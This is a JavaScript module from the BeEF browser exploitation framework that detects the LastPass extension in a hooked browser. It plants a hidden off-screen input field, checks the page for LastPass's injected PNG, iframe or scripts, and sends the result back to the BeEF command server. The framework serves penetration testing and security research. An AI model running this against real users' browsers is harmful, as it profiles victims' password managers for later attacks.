Path: blob/master/modules/browser/detect_lastpass/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function () {7var result = "Not in use or not installed";8// The following base64 encoded string represents the LastPass inline PNG which is inserted into user/pass form fields9var base64PNG = "iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAYAAABSO15qAAAAAXNSR0IArs4c6QAAAPhJREFUOBHlU70KgzAQPlMhEvoQTg6OPoOjT+JWOnRqkUKHgqWP4OQbOPokTk6OTkVULNSLVc62oJmbIdzd95NcuGjX2/3YVI/Ts+t0WLE2ut5xsQ0O+90F6UxFjAI8qNcEGONia08e6MNONYwCS7EQAizLmtGUDEzTBNd1fxsYhjEBnHPQNG3KKTYV34F8ec/zwHEciOMYyrIE3/ehKAqIoggo9inGXKmFXwbyBkmSQJqmUNe15IRhCG3byphitm1/eUzDM4qR0TTNjEixGdAnSi3keS5vSk2UDKqqgizLqB4YzvassiKhGtZ/jDMtLOnHz7TE+yf8BaDZXA509yeBAAAAAElFTkSuQmCC";101112let createInputField = function () {13beef.debug("Module - Detect LastPass: Generating input field");1415return new Promise((resolve, reject) => {16var input = document.createElement("input");17input.type = "text";18input.id = "username";19input.name = "username";20input.setAttribute("style", "display:none;position:absolute;visibility:hidden;top:-1000px;left:-1000px;border:none;");21document.body.appendChild(input);22beef.debug("Module - Detect LastPass: Input field generated");2324// FF requires some interaction to trigger extension function, so we use a timeout to wait 5 seconds in the hope that a user interacts25if (beef.browser.isFF()) {26setTimeout(() => {27resolve();28}, 5000);29} else {30// `1 second timout to allow DOM to update31setTimeout(() => {32resolve();33}, 1000);34}35})36}3738let detectLastPass = function () {39beef.debug("Module - Detect LastPass: Looking for input field");4041return new Promise((resolve, reject) => {42// Detect input form fields with the injected LastPass PNG as background image43var bginput = $j('input[style]');44var lpdiv = document.getElementById('hiddenlpsubmitdiv');45if (bginput.length > 0) {46beef.debug("Module - Detect LastPass: Input field with 'style' attribute found: " + bginput);47for (var i = 0; i < bginput.length; i++) {48beef.debug("Module - Detect LastPass: Number of potential input fields with 'style' attribute found: " + bginput.length);49var styleContent = bginput[i].getAttribute('style');50if (styleContent.includes(base64PNG)) {51beef.debug('Module - Detect LastPass: Matching inline PNG detected');52result = "Detected LastPass through presence of inline base64-encoded PNG within input form field";53}54}55// Detect presence of LastPass iframe56} else if ($j("iframe[name='LPFrame']").length > 0) {57beef.debug('Module - Detect LastPass: Matching iframe found');58result = "Detected LastPass through presence of LastPass 'save password' iframe";59// Below is the older method of LastPass detection method60} else if (typeof (lpdiv) != 'undefined' && lpdiv != null) {61result = "Detected LastPass through presence of the <script> tag with id=hiddenlpsubmitdiv";62} else if ($j("script:contains(lastpass_iter)").length > 0) {63result = "Detected LastPass through presense of the embedded <script> which includes references to lastpass_iter";64}65resolve();66})67}6869function getResult() {70beef.net.send("<%= @command_url %>", <%= @command_id %>, "lastpass=" + result);71}7273createInputField().then(detectLastPass).then(getResult);7475});767778